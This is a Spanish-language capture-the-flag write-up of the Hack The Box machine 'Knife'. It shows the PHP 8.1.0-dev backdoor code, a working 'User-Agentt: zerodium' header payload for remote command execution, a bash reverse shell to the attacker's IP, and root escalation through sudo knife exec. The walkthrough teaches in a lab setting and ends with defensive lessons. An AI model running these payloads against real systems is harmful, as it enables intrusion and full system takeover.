Knife

Resumen Ejecutivo

Knife es una máquina Linux de dificultad fácil que se compromete explotando una vulnerabilidad de puerta trasera en una versión de desarrollo de PHP. El vector de entrada inicial no requiere autenticación y otorga acceso inmediato al sistema como un usuario común. Posteriormente, la escalada de privilegios se logra abusando de una configuración permisiva en los privilegios de sudo, la cual permite ejecutar la herramienta de administración de configuración knife con derechos de superusuario, permitiendo la ejecución directa de una consola como root.

Enumeración

# Iniciar máquina creando el entorno de trabajo y añadir el dominio
# https://github.com/jquirozz/custom-scripts/blob/main/htb.sh
┌──(blog㉿jquirozz.com)-[~]
└─$ htb knife 10.129.12.219
[*] Pinging box...
[*] Adding knife.htb to /etc/hosts...
[*] Preparing work directory...
[*]-----------------------------------------[*]
    Box Name   : knife
    Box OS     : Linux (TTL 63)
    RHOST      : 10.129.12.219
    LHOST      : 10.10.15.11
    Workdir    : /home/blog/htb/knife
[*]-----------------------------------------[*]

# Escanear en busca de puertos abiertos
# [-p-] Escanear los 65535 puertos
# [-n] Desactivar resolución DNS
# [-sS] Escaneo TCP SYN
# [-Pn] Omitir el descubrimiento de host
# [--min-rate=1000] Enviar al menos 1000 paquetes por segundo
# [-oG] Guardar el output en formato Grepeable
┌──(blog㉿jquirozz.com)-[~/htb/knife]
└─$ sudo nmap -p- -n -sS -Pn --min-rate=1000 $RHOST -oG nmap/ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Extraer puertos abiertos
# https://github.com/jquirozz/custom-scripts/blob/main/extract.sh
┌──(blog㉿jquirozz.com)-[~/htb/knife]
└─$ extract nmap/ports
[*] Open ports: 22,80
[*] Ports copied to clipboard

# Ejecutar scripts de reconocimiento y detección de versiones en los puertos abiertos
# [-sC] Ejecutar scripts por defecto
# [-sV] Enumerar versiones de los servicios
# [-oN] Guardar el output en formato Nmap normal
┌──(blog㉿jquirozz.com)-[~/htb/knife]
└─$ sudo nmap -p22,80 -sCV --min-rate=1000 $RHOST -oN nmap/scan
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
|   256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_  256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title:  Emergent Medical Idea
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

# Identificar las tecnologías y versiones del servidor web
# [>] Redireccionar la salida estándar para guardarla en un archivo
┌──(blog㉿jquirozz.com)-[~/htb/knife]
└─$ whatweb $RHOST:80 > scans/whatweb
http://10.129.12.219 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ],
HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.129.12.219],
PHP[8.1.0-dev], Script, Title[Emergent Medical Idea], X-Powered-By[PHP/8.1.0-dev]

Vulnerabilidad PHP

ParámetroDetalle
Tipo de FalloEjecución Remota de Código / Backdoor Implícito
ComponenteRama de desarrollo de PHP
Versiones AfectadasPHP 8.1.0-dev
Vector de AtaqueEncabezado HTTP Modificado User-Agentt
AutenticaciónNo requerida

Contexto Histórico

En marzo de 2021, atacantes maliciosos lograron comprometer el servidor Git oficial de PHP e introdujeron una puerta trasera directamente en el código fuente del lenguaje. El cambio malicioso consistía en buscar un encabezado HTTP específico y ejecutar cualquier comando que viniera dentro de él.

Código vulnerable

if (ztrmatch(request->headers, "User-Agentt", "zerodium")) {
    zend_eval_string(request->headers["User-Agentt"] + 8);
}
  • Mecanismo: El servidor web busca la presencia exacta del encabezado User-Agentt. Si la cadena comienza con la palabra clave zerodium, el intérprete de PHP toma todo el texto que sigue después y lo procesa internamente como un comando del sistema.
  • Impacto: Permite a cualquier atacante remoto ejecutar comandos arbitrarios del sistema operativo con los mismos privilegios bajo los que corre el servidor web, en este caso, el usuario james.

Explotación con BurpSuite

  1. Abrir el navegador integrado: Ir a la pestaña Proxy -> Intercept y hacer clic en el botón Open Browser para lanzar el navegador propio de Burp Suite.

  2. Navegar al objetivo: Introducir la URL de la máquina objetivo en el navegador web recién abierto.

  3. Enviar al Repeater: Regresar a Burp Suite, hacer clic derecho sobre la petición capturada y seleccionar Send to Repeater o usar CTRL + R.

  4. Modificar los encabezados: Ir a la pestaña Repeater y añadir el encabezado malicioso User-Agentt con la palabra clave zerodium seguida de la función PHP.

Modified User-Agent

# Enviar el comando 'id' a través del encabezado modificado en Burp Suite
Burpsuite-Header$ User-Agentt: zerodiumsystem("id");
uid=1000(james) gid=1000(james) groups=1000(james)

# Ping!
Burpsuite-Header$ User-Agentt: zerodiumsystem("cat ~/user.txt");
a5****************************5b

Escalada de Privilegios

# Enumerar comandos permitidos para ejecutar como superusuario mediante sudo
# [-l] Listar los privilegios permitidos para el usuario actual
Burpsuite-Header$ User-Agentt: zerodiumsystem("sudo -l");
User james may run the following commands on knife:
(root) NOPASSWD: /usr/bin/knife

# Comprobar la naturaleza y ruta real del binario permitido
# [-l] Mostrar el formato de listado largo con permisos y enlaces simbólicos
Burpsuite-Header$ User-Agentt: zerodiumsystem("ls -l /usr/bin/knife");
lrwxrwxrwx 1 root root 31 May  7  2021 /usr/bin/knife -> /opt/chef-workstation/bin/knife

# Verificar la versión actual de knife
Burpsuite-Header$ User-Agentt: zerodiumsystem("/usr/bin/knife --version");
Chef Infra Client: 16.10.8

# Poner un oyente Netcat a la escucha para recibir la shell
# [-n] No resolver DNS
# [-v] Verbose
# [-l] Modo escucha
# [-p] Puerto a escuchar
┌──(blog㉿jquirozz.com)-[~/htb/knife]
└─$ nc -nvlp 4444

# Ejecutar una reverse shell interactiva de Bash hacia nuestra máquina atacante
Burpsuite-Header$ User-Agentt: zerodiumsystem("bash -c 'bash -i >& /dev/tcp/10.10.15.11/4444 0>&1'");

# Forzar la creación de una sesión de terminal simulada (pty) ejecutando Bash
james@knife:/$ script /dev/null -c bash

# [CTRL + Z] Suspender temporalmente Netcat para regresar a la máquina atacante
james@knife:/$ ^Z
zsh: suspended  nc -nvlp 4444

# Configurar la terminal local en modo raw y traer la shell a primer plano
┌──(blog㉿jquirozz.com)-[~/htb/knife]
└─$ stty raw -echo; fg
[1]  + continued  nc -nvlp 4444

# Reiniciar la configuración de la terminal en la máquina víctima
james@knife:/$ reset xterm

# Configurar la variable TERM para habilitar soporte de 256 colores
james@knife:/$ export TERM=xterm-256color

# Definir Bash como el entorno de comandos predeterminado
james@knife:/$ export SHELL=bash

# Ajustar las dimensiones de las filas y columnas de la terminal remota
james@knife:/$ stty rows 38 columns 151

# Elevar privilegios abusando de la utilidad knife
# [-E] Evaluar código Ruby
# [exec('/bin/bash')] Reemplazar el proceso actual invocando un intérprete Bash
james@knife:/$ sudo knife exec -E "exec('/bin/bash')"

# Identificar el UID, GID y grupos de root
root@knife:/# id
uid=0(root) gid=0(root) groups=0(root)

# Pong!
root@knife:/# cat /root/root.txt
2d****************************29

Lecciones Aprendidas

  • Evitar software de desarrollo en producción: La versión PHP 8.1.0-dev nunca debió ser expuesta en un entorno activo o de producción. Las ramas de desarrollo -dev suelen contener código experimental, herramientas de depuración o, en este caso histórico particular, código comprometido en su repositorio oficial antes de ser detectado. Siempre se deben emplear versiones estables y firmadas oficialmente.

  • Principio de menor privilegio en Sudoers: Permitir que un usuario ejecute herramientas como knife mediante sudo sin contraseña representa un riesgo crítico si dicha herramienta posee funciones nativas de ejecución de código o scripts de forma interactiva. Si su uso es estrictamente necesario, el acceso a la máquina debe estar fuertemente restringido o limitado a scripts específicos no modificables.